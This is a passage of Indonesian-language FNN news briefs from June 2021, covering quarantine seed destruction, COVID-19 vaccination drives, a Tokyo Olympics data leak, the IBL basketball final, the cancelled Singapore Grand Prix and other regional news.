huruf b UU No. 31 Tahun 1999 sebagaimana diubah UU No. 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi jo Pasal 64 ayat 1 KUHP. (sws)

Karantina Pertanian Balikpapan Musnahkan Benih Impor Tak Berdokumen

Balikpapan, FNN - Karantina Pertanian Balikpapan memusnahkan 5.989 kg benih sayuran, buah-buahan, dan tanaman hias asal Tonga, Solomon, Australia, Singapura, Malaysia, Thailand, Tiongkok, Jerman, Lithuania, dan Amerika Serikat yang masuk Indonesia tanpa dilengkapi dokumen kesehatan dari negara asalnya. “Yaitu tanpa dokumen Phytosanitary Certificate,” kata Kepala Karantina Pertanian Balikpapan Ridwan Alaydrus di Balikpapan, Jumat. Benih-benih tersebut juga tidak dilengkapi Surat Izin Pemasukan Benih dari Kementerian Pertanian (Sipmentan), sebagaimana yang disyaratkan Undang-Undang Nomor 21 Tahun 2019 tentang Karantina Hewan, Ikan, dan Tumbuhan. Para petugas Karantina memusnahkan benih-benih impor tersebut dengan cara membakarnya di dalam tong berisi bahan bakar. Menjadi saksi pemusnahan ini perwakilan dari Bea dan Cukai, Polda Kaltim, KPPP Bandara Sepinggan, Pos Indonesia, dan FedEx Indonesia. Menurut Ridwan Alaydrus, benih-benih coba dimasukkan melalui pengiriman paket udara melalui Bandara Sepinggan. Benih-benih tersebut diketahui sebagai benih kaktus, bunga hyacin, caladium, dan adenium, juga paprika dan selada, rumput, serta benih melon, pepaya, semangka, dan jeruk. Dalam peristilahan karantina, benih-benih tumbuhan ini bisa menjadi sarana bagi organisme pengganggu tumbuhan karantina (OPTK), yang seandainya lolos dari karantina bisa saja menjadi media penyebar hama penyakit tanaman yang ada di Indonesia. “Jadi, OPTK dari berbagai negara ini sudah kami data, dan belum ada di Indonesia. Inilah yang wajib kita cegah, jangan sampai masuk yang mana masuknya bisa melalui benih-benih tadi,” papar Alaydrus. Selain benih-benih tersebut, juga dimusnahkan sisa sampel uji laboratorium Karantina Tumbuhan seberat total 30,9 kg yang sebagian besarnya adalah sayur-sayuran. Rincian sisa sampel uji tersebut adalah 4.050 gram bawang daun, 2.700 gram bawang putih, 1.800 gram bawang merah, 450 gram bawang bombay, 3.150 gram kentang, 4.800 gram beras, 1.800 gram tomat, 3.600 gram wortel, 3.600 gram cabe rawit, 2.250 gram cabe kering, 450 gram kurma kering, 450 gram labu, 450 gram kubis, 900 gram kedelai, dan 450 gram benih jagung. Alaydrus kembali menjelaskan, pemusnahan sisa sampel uji ini merupakan salah satu syarat teknis berdasarkan ISO 17025:2017 Sistem Manajemen Mutu Laboratorium Pengujian dan Kalibrasi untuk menjamin mutu hasil pengujian. (sws)

Tjahjo Apresiasi Jabatan Wamen di Kementerian PANRB

Jakarta, FNN - Menteri Pendayagunaan Aparatur Negara dan Reformasi Birokrasi (PANRB) Tjahjo Kumolo mengapresiasi jabatan wakil menteri (wamen) PANRB yang akan ditunjuk Presiden Joko Widodo. “Pada prinsipnya saya, sebagai pembantu Presiden, mengapresiasi dan siap melaksanakan tugas sesuai dengan Perpres tersebut,” kata Tjahjo Kumolo dalam keterangannya di Jakarta, Jumat. Penunjukan jabatan orang nomor dua di Kementerian PANRB tersebut diatur dalam Peraturan Presiden Nomor 47 Tahun 2021 tentang Kementerian PANRB. Terkait tokoh yang akan ditunjuk sebagai wamen, Tjahjo mengatakan akan menerima dan siap bekerja sama dengan siapa saja. “Terkait siapa yang nanti akan ditugaskan Bapak Presiden sebagai wamen, saya sebagai Menteri PANRB siap saja menerima penugasan wamen PANRB oleh Presiden,” tukasnya. Tjahjo menilai Perpres dan penugasan wamen PANRB tersebut bertujuan untuk penguatan tugas Kementerian PANRB dalam upaya mempercepat reformasi birokrasi. “Hal itu semata-mata untuk penguatan tugas Kemenpanrb yang salah satu tugas utamanya adalah menjabarkan visi misi Bapak Presiden yaitu reformasi birokrasi,” jelasnya. Dia menambahkan reformasi birokrasi merupakan salah satu program pembangunan nasional yang perlu percepatan untuk mencapai tujuan tersebut. “Kunci sukses pembangunan nasional program kerja pemerintah Jokowi (Joko Widodo) dan Ma’ruf Amin ada pada penguatan reformasi birokrasi secara utuh,” ujarnya. Sebelumnya, Presiden Joko Widodo menerbitkan Perpres Nomor 47 Tahun 2021 tentang Kementerian PANRB yang ditandatangani Presiden pada 19 Mei 2021. Pada Pasal 2 Ayat 1 Perpres tersebut dijelaskan bahwa dalam memimpin Kementerian Pendayagunaan Aparatur Negara dan Reformasi Birokrasi, menteri dapat dibantu oleh wakil menteri sesuai dengan penunjukan Presiden. (sws)

Wapres: Ekosistem Syariah Harus Berbasis Digital dan Kearifan Lokal

Jakarta, FNN - Wakil Presiden Ma’ruf Amin mengatakan pengembangan ekosistem syariah harus berbasis pada teknologi digital dan mengutamakan kearifan lokal di berbagai daerah. “Perlu ada terobosan pengembangan ekosistem syariah berbasis digital yang terintegrasi dan diselaraskan dengan kearifan lokal,” kata Wapres Ma’ruf Amin saat menghadiri acara Silaturahmi dengan Masyarakat Ekonomi Syariah (MES) di Gedung The Tower Jakarta, Jumat. Penerapan kearifan lokal tersebut, lanjut Wapres, perlu dilakukan karena kondisi perekonomian dan sosial masyarakat di setiap daerah berbeda-beda. Wapres juga mengingatkan MES untuk memberikan pendampingan dan bimbingan kepada pondok pesantren, sehingga para santrinya dapat menjadi terampil berwirausaha selain juga pintar mengaji. “Pesantren ini tentu masih memerlukan pendampingan termasuk pembekalan bagi para santri, sehingga terbentuk lebih banyak santripreneur. Disebutnya namanya itu Gus Iwan, santri bagus, pintar mengaji dan usahawan,” jelasnya. Dengan pendampingan tersebut, maka pemberdayaan ekonomi tidak hanya berguna bagi para santri, melainkan juga bermanfaat bagi masyarakat yang tinggal di sekitar pondok pesantren. Oleh karena itu, upaya inklusi dan edukasi keuangan syariah berbasis pesantren harus diakselerasi dengan melibatkan partisipasi aktif seluruh pihak, katanya. Wapres juga berpesan agar kolaborasi dan inovasi yang telah dilakukan dapat berkembang, sehingga kontribusi ekonomi dan keuangan syariah pada pemulihan ekonomi nasional dapat terwujud. “Mari bersama-sama kita mengupayakan inovasi dan kolaborasi secara nyata, demi mewujudkan visi ekonomi dan keuangan syariah yang semakin memajukan dan menyejahterakan masyarakat Indonesia,” ujar Wapres. (sws)

Pakar: Pandemi Percepat Realisasi Janji Politik Jokowi terkait 3.500 Startup

Semarang, FNN - Pakar keamanan siber Doktor Pratama Persadha mengatakan pada masa pandemi COVID-19 mendorong pertumbuhan perusahaan rintisan di Indonesia sehingga target 3.500 startup bakal tercapai pada 2024, sebagaimana janji politik Pemerintahan Joko Widodo dan Ma'ruf Amin. "Bahkan, pada tahun 2021 setidaknya ada 2.219 startup (perusahaan rintisan) di Tanah Air," kata Ketua Lembaga Riset Keamanan Siber dan Komunikasi CISSReC Pratama Persadha melalui percakapan WhatsApp kepada ANTARA, di Semarang, Sabtu. Sebelumnya, pada acara Debat Calon Wakil Presiden RI di Jakarta, Minggu (17 Maret 2019) malam, K.H. Ma'ruf Amin menyampaikan target 3.500 startup hingga 2024. Namun, kurang lebih 2 tahun 3 bulan kemudian, jumlah startup mencapai 63,4 persen dari total target. Hal ini, menurut Pratama, wabah virus corona yang melanda dunia menyebabkan kebutuhan akan solusi digital makin meningkat, termasuk di Indonesia. Dengan kondisi seperti sekarang ini, lanjut Pratama, tidak semua orang berani keluar membeli makanan. Mereka akhirnya memakai aplikasi pemesanan makanan. "Tidak semua orang berani keluar naik kereta listrik maupun bus dan angkot, akhirnya memakai aplikasi transportasi online (daring)," kata Pratama yang juga dosen pascasarjana pada Sekolah Tinggi Intelijen Negara (STIN). Bahkan, di sektor pendidikan dan perkantoran, pada akhirnya menggunakan fasilitas daring untuk kegiatan belajar dan rapat. "Ini semua tiba-tiba berjalan cepat dan revolusioner," kata pria kelahiran Cepu, Kabupaten Blora, Jawa Tengah ini. Menurut dia, masih banyak hal lain, misalnya dompet digital. Hal ini karena makin banyak merchant (penjual barang dan/atau jasa yang memiliki toko fisik maupun toko daring) yang tidak menerima uang kertas untuk mengurangi risiko terpapar virus corona. Dikatakan pula bahwa kebutuhan akan solusi digital ini bila bisa dipenuhi oleh negara maupun swasta pada akhirnya akan menghasilkan devisa tersendiri dan membuat perputaran ekonomi baru di tengah masyarakat. Karena itulah, kata Pratama, setiap tahunnya Kementerian Komunikasi dan Informatika (Kemenkominfo) melakukan pendampingan startup. Menyinggung kendala pertumbuhan startup di Tanah Air, dia mengemukakan bahwa masalah utamanya adalah selain pendanaan, sebagian besar startup tersebut berada di Pulau Jawa, terutama Jabodetabek (Jakarta, Bogor, Depok, Tangerang, dan Bekasi). Karena pemerataan infrastruktur internet menjadi masalah utama, Pratama menyarankan agar Kemenkominfo ketika melakukan pendampingan startup, sebaiknya mendorong lahirnya solusi digital ini dari berbagai kota besar di luar Pulau Jawa. "Ini penting sehingga nanti tercipta kota yang melek siber dan menjadi pusat inovasi digital berlokasi di luar Jawa, seperti kesuksesan Bangalore di India sebagai silicon valley baru dunia, padahal lokasinya jauh dari New Delhi," katanya pula. (sws)

Ombudsman Minta Masyarakat Tetap Terapkan Prokes Meski Sudah Divaksin

Bantul, FNN - Ketua Lembaga Ombudsman DIY Suryawan Raharjo meminta masyarakat di Kabupaten Bantul, Daerah Istimewa Yogyakarta, tetap menerapkan protokol kesehatan pencegahan penularan COVID-19, meski sudah mendapat suntikan vaksin untuk kekebalan tubuh dari virus corona itu. "Walaupun sudah divaksin, tetap menjaga protokol kesehatan dengan 5M (memakai masker, mencuci tangan, menjaga jarak, menjauhi kerumunan, membatasi mobilitas). Vaksin itu hanya bagian dari ikhtiar, tetapi kita tetap taat pada prokes dan 5M," kata Ketua Lembaga Ombudsman DIY Suryawan Raharjo usai meninjau pelaksanaan vaksinasi COVID-19 di Bantul, Jumat. Menurut dia, upaya yang dilakukan Pemerintah Kabupaten Bantul melalui Dinas Kesehatan dalam pelaksanaan vaksinasi COVID-19 secara masif di Sentra Vaksinasi SMK Kesehatan Bantul perlu diapresiasi, karena bisa berdampak pada peningkatan produktivitas masyarakat. "Pelaksanaan vaksinasi yang sudah dilaksanakan secara masif ini harapannya nanti bisa meningkatkan produktivitas dan masyarakat karena tidak lagi khawatir terhadap masalah pandemi ini," katanya. Sementara itu, Wakil Ketua I Tim Penggerak PKK Bantul Dwi Pudyaningsih Joko Purnomo, yang turut meninjau pelaksanaan vaksinasi kader kesehatan memberikan dukungan kepada Dinkes Bantul, dan berharap pelaksanaan vaksinasi ini memberikan kekebalan tubuh bagi pelayan kesehatan di tingkat dusun. "Apresiasi kepada Tim Vaksinasi Dinkes Bantul, Kader Kesehatan Bantul, dan SMK Kesehatan yang telah memfasilitasi tempat vaksinasi di Bantul, saya mengharapkan usai program vaksinasi ini, Bantul terbebas dari COVID-19 dan masyarakat mencapai herd immunity," katanya. Oleh karena itu, pihaknya mengajak kepada kader-kader dan masyarakat Bantul yang belum divaksin untuk segera mendaftarkan diri untuk mengikuti vaksinasi, agar segera terbebas dari COVID-19. "Tetap semangat, tetap sehat, dan tetap bahagia," ajak istri Wakil Bupati Bantul Joko Purnomo ini. Kepala Dinkes Bantul Agus Budi Rahardjo mengatakan, bahwa sasaran vaksinasi hari ini adalah kader kesehatan non-lansia sejumlah 350 orang, nantinya kader kesehatan di Bantul yang berjumlah 12.070 orang juga akan divaksinasi dua kali sesuai jadwal yang telah disusun Dinkes Bantul. "Ada 12.070 kader kesehatan maupun posyandu (pos pelayanan terpadu) nantinya akan menerima vaksinasi sebanyak dua kali di Sentra Vaksinasi COVID-19 SMK Kesehatan Bantul ini," kata Agus. (sws)

Penyelenggara Olimpiade Tokyo Alami Kebocoran Data

Jakarta, FNN - Panitia penyelenggara Olimpiade Tokyo mengalami kebocoran data melalui akses tidak sah ke alat berbagi informasi yang dikembangkan oleh Fujitsu, Kyodo melaporkan, Jumat. Informasi pribadi bocor dari total sekitar 170 orang yang terlibat dalam manajemen keamanan dan telah berpartisipasi dalam latihan yang diselenggarakan oleh pusat keamanan siber nasional Jepang untuk bersiap menghadapi potensi serangan siber selama acara olahraga tersebut berlangsung. Pada akhir Mei, pelanggaran data telah ditemukan di lembaga pemerintah Jepang, termasuk Pusat Kesiapan dan Strategi Nasional untuk Keamanan Siber dan Kementerian Luar Negeri, menurut Fujitsu dan kementerian yang terkena dampak. Dengan sekitar 50 hari sebelum Olimpiade dibuka di ibukota Jepang, penyelenggara dan pemerintah terus meningkatkan upaya untuk mencegah serangan siber mengganggu pertandingan. Pusat Kesiapan dan Strategi Nasional untuk Keamanan Siber menolak berkomentar apakah informasi yang bocor itu terkait dengan pertandingan dan belum mengonfirmasi adanya gangguan operasi yang dialami organisasi mana pun yang menjadi target serangan siber. Informasi yang bocor tersebut termasuk nama, jabatan dan afiliasi para peserta dari sekitar 90 organisasi, termasuk badan penyelenggara Olimpiade dan Paralimpiade, kementerian, pemerintah daerah yang menjadi tuan rumah tempat diselenggarakan pertandingan, termasuk Tokyo dan Prefektur Fukushima, serta sponsor pertandingan. Takahito Tokita, Presiden Fujitsu, yang juga dikontrak untuk mengawasi sistem komputer klien, meminta maaf kepada Menteri Olimpiade Tamayo Marukawa atas pelanggaran data tersebut. Fujitsu, pada akhir Mei, mengatakan bahwa data beberapa klien korporatnya telah dikompromikan lewat akses tidak sah ke alat, yang digunakan untuk berbagi informasi antara pihak internal dan eksternal perusahaan. Kebocoran data itu kemungkinan karena infeksi malware, menurut sumber, tetapi perusahaan tersebut masih menyelidiki penyebab dan tingkat dampaknya. Instansi pemerintah termasuk kementerian luar negeri dan transportasi mengatakan setidaknya 76.000 alamat email pejabat pemerintah dan pihak eksternal, seperti anggota panel, serta bahan studi tentang pembangunan pemerintahan digital, telah mengalami kebocoran. (sws)

Ganjar Kirim Nakes Bantu Tangani Lonjakan Covid-19 di Kudus

Semarang, FNN - Gubernur Jawa Tengah (Jateng) Ganjar Pranowo mengirimkan puluhan tenaga kesehatan untuk membantu penanganan lonjakan kasus COVID-19 di Kabupaten Kudus. "Total ada 96 dokter dan perawat yang diperbantukan, dengan rincian lima dokter spesialis paru, lima dokter spesialis penyakit dalam, 38 dokter umum, dan 48 perawat," kata Ganjar, di Semarang, Jumat malam. Sebagian tenaga kesehatan yang dikirim ke Kabupaten Kudus itu berasal dari dokter di RSUD Moewardi, Kota Surakarta, dan sebagian lagi dibantu oleh Ikatan Dokter Indonesia (IDI) Wilayah Jateng. "Untuk perawat, ini butuhnya agak banyak 198, 48 sudah kami penuhi dari pemprov, terus kemudian yang masih proses kami 150 ini, ada dari PPNI, Poltekkes, Stikes yang sedang menyiapkan kurang lebih 150," ujarnya pula. Pemprov Jateng saat ini juga sedang menyiapkan tenaga kesehatan lain yang bakal diperbantukan di Kabupaten Kudus, seperti analis kesehatan, ahli gizi, hingga apoteker. "Saat ini masih dalam proses 'assessment' untuk bisa segera diperbantukan," kata politikus PDI Perjuangan itu pula. Menurut Ganjar, kondisi penanganan COVID-19 di Kabupaten Kudus saat ini mulai diatur dengan baik, dan pemkab setempat juga telah mengirimkan sejumlah kebutuhan, yang beberapa di antaranya juga telah dipenuhi oleh Pemprov Jateng. "Ya sekarang kami memantau Kudus sambil sekaligus mendampingi, karena memantau saja tidak cukup," ujarnya. Selain itu, alat-alat kesehatan juga sebagian telah dipenuhi Pemprov Jateng, seperti ventilator dan oksigen, sedangkan alkes seperti High Flow Nasal Cannula (HFNC) dan hepa filter, Ganjar telah mengusulkan agar dibantu pemerintah pusat. "Dan untuk obat-obatan, alhamdulillah semua yang dibutuhkan udah kami kirim. Lalu untuk APD juga sama, semua kebutuhannya kami kirim. Jadi artinya apa, sampai dengan kebutuhan yang sifatnya dukungan teknis kami coba bantu," katanya lagi. Ganjar menyampaikan terima kasih kepada Kementerian Kesehatan, Badan Nasional Penanggulangan Bencana, Polda Jateng, Kodam IV/Diponegoro, pihak terkait lainnya yang telah membantu dalam penanganan COVID-19 di Kabupaten Kudus. (sws)

Sandiaga Tidak Ingin Kecelakaan di Destinasi Wisata Terulang

Yogyakarta, FNN - Menteri Pariwisata dan Ekonomi Kreatif Sandiaga Uno tidak ingin peristiwa kecelakaan di destinasi wisata terulang dengan mendorong kedisiplinan penerapan protokol kebersihan, kesehatan, keamanan dan ramah lingkungan atau CHSE. "Dalam protokol CHSE yang kami sertifikasi di destinasi-destinasi wisata dan sentra ekonomi kreatif, kami harus pastikan penerapan CHSE secara ketat dan disiplin," kata Sandiaga di Sleman, Jumat malam. Menurut Sandiaga, peristiwa kecelakaan yang terjadi di sejumlah objek wisata seperti di Waduk Kedung Ombo, Boyolali, Jawa Tengah beberapa waktu lalu, kemudian kecelakaan laut di sekitar Pantai Sambolo Dua Kawasan Anyer, Kabupaten Serang, serta ambruknya jembatan di destinasi wisata Geosite Kabui di kabupaten Raja Ampat cukup menjadi pelajaran bersama. "Merupakan satu pengingat bagi kita semua bahwa kita harus tingkatkan protokol CHSE dan kepatuhan kita terhadap CHSE di setiap destinasi wisata dan sentra ekonomi kreatif," ujar dia. Sederet peristiwa kecelakaan pariwisata itu, kata Sandiaga, selain menjadi bahan kajian, Kemenparekraf langsung merespons cepat melalui upaya preventif dan antisipatif. "Seperti di Boyolali, kami langsung berkoordinasi untuk memastikan destinasi tersebut ditutup sementara, disterilkan, dilakukan penelitian apa yang terjadi," kata dia. Apabila ditemukan pelanggaran dari sisi keamanan dan keselamatan para wisatawan di setiap destinasi wisata, menurut dia, Kemenparekraf memastikan langsung melayangkan teguran. "Dan apabila ada aspek pelanggaran hukum tentu harus diproses secara hukum," kata dia. (sws)

Khofifah Berharap Tokoh Masyarakat-Agama Yakinkan Vaksin Aman

Surabaya, FNN - Gubernur Jawa Timur Khofifah Indar Parawansa berharap peran tokoh masyarakat - tokoh agama meyakinkan warga, khususnya para lanjut usia, bahwa vaksinasi aman dilakukan. "Ini sebagai upaya untuk memberikan rasa yakin dan aman, serta kekhawatiran efek yang ditimbulkan setelah vaksin," ujarnya di Gedung Negara Grahadi di Surabaya, Jumat malam. Orang nomor satu di Pemprov Jatim tersebut juga memerintahkan jajarannya melakukan "jemput bola" dan memperluas sosialisasi kepada masyarakat serta turun langsung ke daerah. Khusus kategori lansia, Gubernur Khofifah minta adanya pendekatan dan pendampingan untuk meyakinkan agar tidak ada kekhawatiran. "Kalau bisa berbagi tugas dengan ASN, tokoh masyarakat dan agama untuk turun langsung bersosialisasi lebih masif melalui berbagai media dengan mendatangi titik-titik tertentu atau diselenggarakan terpusat di satu tempat," ucapnya. Menurut Khofifah, capaian angka vaksinasi untuk warga lanjut usia di Jatim masih harus terus ditingkatkan, terlebih guna mencapai target vaksin 100 persen di akhir Juni 2021. Berdasarkan data yang dihimpun Dinas Kesehatan Jatim, hingga 3 Juni 2021, vaksinasi untuk lanjut usia di wilayah setempat masih 23,27 persen dari total target sasaran sebanyak 2.551.433 orang. Jumlah vaksinasi dosis pertama untuk lanjut usia di Jatim masih 600.930 dosis dengan persentase 23,55 persen. Sedangkan, untuk vaksinasi dosis kedua tercatat 271.331 dosis dengan prosentase 10,63 persen. Di sisi lain, Gubernur Khofifah juga mengingatkan bahwa masih banyak ulama dan pengasuh pondok pesantren yang belum mendapatkan vaksin COVID-19. Mantan menteri sosial tersebut mengimbau seluruh pihak bekerjasama dan memastikan kesiapan vaksinator, sekaligus mengecek stok vaksin masih aman di setiap daerah. "Tenaga kesehatan, TNI, Polri harus bersinergi untuk percepatan vaksinasi lanjut usia. Dinas Kesehatan Jatim juga harus memastikan hingga ke daerah-daerah," tutur gubernur perempuan pertama di Jatim tersebut. (sws)

Sebanyak 99 Peserta Ramaikan STQH Sulbar

Mamuju, FNN - Sebanyak 99 peserta meramaikan Seleksi Tilawatil Qur'an dan Hadits (STQH) ke-IX 2021 Provinsi Sulawesi Barat (Sulbar) yang berlangsung di Kabupaten Polewali Mandar. Sekda Provinsi Sulbar, Muh Idris DP di Mamuju, Jumat, mengatakan, sebanyak 99 peserta dari enam Kafilah di Sulbar meramaikan STQH tingkat Provinsi Sulbar yang dilaksanakan dengan menerapkan protokol kesehatan. Ia mengatakan, peserta tersebut berasal dari Kafilah Kabupaten Mamuju sebanyak 14 orang putra dan putri Majene 18 orang, dan Polman 18 orang. Kemudian kabupaten Mamasa 16 orang Kabupatrn, Pasangkayu 18 Kafilah dan dari Kafilah Mamuju Tengah 15 orang. Kemudian terdapat peserta kafilah golongan anak yaitu Tilawah anak diikuti 12 peserta, dan Tilawah Dewasa 12 perserta, Ia menyampaikan, STQH di Sulbar terdapat sejumlah perlombaan diantaranya lomba hafalan Al-Qur'an 1 Juz dan tilawah diikuti 12 peserta kemudian, hafalan Al-Qur'an 10 Juz diikuti 12 peserta, Hafalan Al-Qur'an 20 Juz 11 peserta, Hapalan Al-Qur'an 30 Juz diikuti enam peserta, Tafsir Al-Qur'an bahasa arab tiga peserta. Kemudian hafalan 100 Hadist diikuti 11 perseta dan hafalan 500 Hadist enam peserta. Ia berharap dari ajang STQH ini melahirkan bibit terbaik Sulbar untuk meningkatkan kualitas pembinaan yang lebih profesional untuk memajukan gairah dan semangat pembelajaran Al Qur'an. "Dewan hakim harus bekerja secara profesional, sehingga Sulbar mendapatkan bibit-bibit terbaik untuk menjadi duta yang mampu bersaing di kancah nasional, dan mampu meningkatkan akhlak dan amalan ketika di masyarakat. Ia mengatakan, pemerintah Sulbar akan berkomitmen, untuk tetap bersinergi meningkatkan pembinaan dalam rangka meraih prestasi di ajang STQH Nasional nantinya. (sws)

Pemkot Samarinda Agendakan Penyemprotan Eco Enzyme pada HLH Sedunia

Samarinda, FNN - Pemerintah Kota Samarinda, Kalimantan Timur akan melakukan penyemprotan larutan pembersih alami (eco enzyme) ke udara pada peringatan Hari Lingkungan Hidup ( HLH) Sedunia, Sabtu, 5 Juni 2021. Kasubbag Rumah Tangga Pemerintah Kota Samarinda, Dhanny Rakhmadi mengatakan bahwa kegiatan tersebut dimulai Pukul 08.00 Wita dari Balai Kota menuju jalan-jalan protokol di Kota Samarinda. "Kegiatan ini merupakan kerja sama Pemerintah Kota Samarinda dengan Komunitas Eco Enzyme Samarinda, dan akan dihadiri oleh Walikota dan Wakil Walikota Samarinda, Andi Harun-Rusmadi Wongso," kata Dhani di Samarinda, Jumat malam.. Dhani menuturkan kegiatan ini pertama kali dilaksanakan di Kota Samarinda, ke depan akan terus dilakukan karena dinilai punya manfaat positif untuk penyegaran udara secara alami sekaligus cara efektif untuk mengurangi limbah sisa organik dari masyarakat. Ia mengatakan para komunitas akan terus mengedukasi kepada masyarakat terkait manfaat dan sekaligus pelatihan pembuatan Eco Enzyme sendiri di rumah masing-masing. "Selain mengurangi limbah sisa organik, para ahli menyebut pemanfaatan limbah ini bisa menurunkan emisi Gas Co2 dan pemanasan global," kata Dhani. Diketahui Eco Enzyme ini terbuat dari fermentasi sisa organik dari gula merah, buah dab sisa sayuran yang menghasilkan larutan zat yang bisa menyegarkan udara dan menyuburkan tanah dan tanaman. Selain itu juga, akan bisa meningkatkan kualitas rasa buah dan sayuran yang ditanam. Penyemprotan Eco Enzyme ke udara Samarinda didukung oleh satuan unit Pemadam Kebakaran (Damkar) Samarinda. Pelaksana tugas Kepala Dinas Damkar Samarinda, Makmur Santoso menyebut akan membantu dalam hal menyediakan mobil tangki untuk penyemprotan. Pihaknya telah menyiapkan sebanyak lima unit tangki yang akan dikerahkan dengan masing-masing kapasitas 2 tangki muatan 10 ribu liter dan 3 tangki muatan 4 ribu liter. "Konsep penyemprotan akan dilakukan seperti menyiram tanaman kota, Jadi kita siram dari atas sambil jalan. Dan rencananya untuk permulaan hanya di jalan-jalan protokol," kata Makmur. (sws)

PB PON Meminta Masyarakat Papua Tidak Terprovokasi Polemik Duta-Ikon

Jayapura, FNN - Panitia Besar Pekan Olahraga Nasional (PB PON) Provinsi Papua meminta masyarakat di wilayahnya tidak terprovokasi polemik mengenai penunjukan duta dan ikon kejuaraan empat tahunan itu. Ketua Harian PB PON Provinsi Papua Yunus Wonda kepada Antara di Jayapura, Jumat, mengatakan dalam penunjukan duta dan ikon PON sudah ada keterwakilan Papua yang diangkat. "Boaz Sollosa merupakan keterwakilan orang Papua yang sudah kami angkat," katanya. Menurut Yunus, PON memang dilaksanakan di Papua namun ada warna nusantara yang ingin ditampilkan dalam penyelenggaraan event olahraga nasional tersebut. "Perlu diketahui, dalam acara pembukaan dan penutupan PON XX sekitar 80 persen anak-anak Papua juga akan mengisi acara tersebut," katanya menambahkan. Lebih lanjut Yunus mengakui PON XX merupakan event Papua, meski demikian harus tetap melibatkan banyak pihak dan kalangan. "Saya pikir tidak perlu berpolemik, namun harus menyiapkan diri untuk menyambut PON," katanya menegaskan. Yusuf Wonda menambahkan suksesnya PON XX Oktober nanti juga merupakan suksesnya orang Papua. Sebelumnya, terjadi polemik mengenai penunjukan duta dan ikon PON Papua yang melibatkan artis ibu kota, namun dianggap tidak mewakili orang Papua. Terkait dengan ikon, PB PON telah mengangkat Nagita Slavina. (sws)

Anies Baswedan Sebut Kesuksesan IBL 2021 Contoh bagi Liga Lain

Jakarta, FNN - Gubernur DKI Jakarta Anies Baswedan mengatakan kesuksesan Liga Bola Basket Indonesia (IBL) 2021 bisa menjadi contoh bagi kompetisi-kompetisi profesional lainnya yang akan digelar dalam situasi pandemi COVID-19. Seusai menyaksikan langsung gim kedua final IBL 2021 antara Pelita Jaya Bakrie Jakarta melawan Satria Muda Pertamina Jakarta di Mahaka Square Arena, Jakarta, Jumat malam, Anies menilai IBL 2021 yang sudah bergulir sejak Maret lalu itu layak dicontoh karena persiapan yang matang terutama terkait protokol kesehatan. “Saya apresiasi, perjuangan ini tidak mudah. Usaha keras IBL menggelar kompetisi bisa menumbuhkan semangat masyarakat di tengah pandemi. IBL menjadi contoh pelaksanaan protokol kesehatan untuk liga-liga lainnya,” ujar Anies dikutip dari laman resmi IB. Pelita Jaya Bakrie Jakarta menyamakan kedudukan menjadi 1-1 setelah merebut kemenangan dalam gim kedua final IBL 2021 dengan skor 71-65 atas Satria Muda Pertamina Jakarta di Mahaka Square Arena, Jakarta, Jumat. Kemenangan yang dikantungi Andakara Prastawa dan kawan-kawan itu pun memaksa gim ketiga final dimainkan pada Minggu (6/6). Anies yang menonton pertandingan hingga tuntas pun mengaku sangat menikmati laga antara dua tim ibu kota tersebut. “Gimnya seru dan menegangkan, tadinya diduga skor akan jauh, tetapi kemudian mendekat. Seru, kedua tim tampil bagus dan bersemangat. Hari Minggu, pertandingan akan menentukan dan seru. Saya akan hadir lagi,” kata Anies.

Grand Prix F1 Singapura Dibatalkan Karena Pandemi

Jakarta, FNN - Grand Prix Singapura, yang dijadwalkan pada 3 Oktober tahun 2021 ini, terpaksa dibatalkan karena kekhawatiran soal keamanan dan logistik yang disebabkan oleh pandemi COVID-19, demikian panitia penyelenggara pada Jumat. "Membatalkan ajang ini untuk tahun kedua secara beruntun adalah keputusan yang sangat sulit namun diperlukan, mengingat pembatasan yang berlaku untuk acara langsung di Singapura," demikian pernyataan resmi Colin Lyn, Deputy Chairman Promotor GP Singapura, seperti dikutip AFP. "Kami tidak akan mampu menyajikan pengalaman penuh yang telah dinantikan para fans selama beberapa tahun ini, sambil mengawal kesehatan dan keselamatan para penggemar, kontraktor, relawan, dan staf kami," Lyn menambahkan. "Pada akhirnya kami harus bertanggung jawab, berhati-hati, dan bijaksana," katanya lagi. Balap Formula 1 di Istanbul, Turki, dan Shanghai, China yang ditunda awal musim ini, bisa menjadi pengganti Singapura, sedangkan Amerika Serikat memiliki peluang menggelar balapan kedua di negaranya. Hal ini bukan satu-satunya ketidakjelasan yang meliputi kalender F1 di paruh kedua musim 2021. Saat ini, bepergian ke Brazil (7 November), Turki atau Abu Dhabi (12 Desember) akan menyebabkan para staf F1 harus menjalani karantina sepulangnya dari negara-negara itu. Australia (21 November) juga sangat berhati-hati dalam membuka perbatasan mereka. Balapan seri keenam di kalender yang terdiri dari 23 Grand Prix, sedang berlangsung akhir pekan ini di Baku, Azerbaijan. Berikut revisi kalender F1, setelah GP Singapura dibatalkan: 28 Maret: Bahrain (Sakhir) - dimenangi Lewis Hamilton (Mercedes) 18 April: Emilia Romagna, Italia, (Imola) - Max Verstappen (Red Bull) 2 Mei: Portugal (Portimao) - Lewis Hamilton (Mercedes) 9 Mei: Spain (Barcelona) - Lewis Hamilton (Mercedes) 23 Mei: Monako - Max Verstappen (Red Bull) 6 Juni: Azerbaijan (Baku) 20 Juni: France (Le Castellet) 27 juni: Styria, Austria (Spielberg) 4 Juli: Austria (Spielberg) 18 Juli: Britania (Silverstone) 1 Agustus: Hungaria (Budapest) 29 Agustus: Belgia (Spa-Francorchamps) 5 September: Belanda (Zandvoort) 12 September: Italia (Monza) 26 September: Rusia (Sochi) 10 Oktober: Jepang (Suzuka) 24 Oktober: Amerika Serikat (Austin) 31 Oktober: Meksiko (Mexico City) 7 November: Brazil (Sao Paulo) 21 November: Australia (Melbourne) 5 Desember: Arab Saudi (Jeddah) 12 Desember: Abu Dhabi (Yas Marina) Ditunda: China (Shanghai), Turki (Istanbul) Batal: Singapura (Marina Bay)

Kisruh Pemberangkatan Haji 2021, Rakyat Makin Tidak Percaya pada Pemerintah

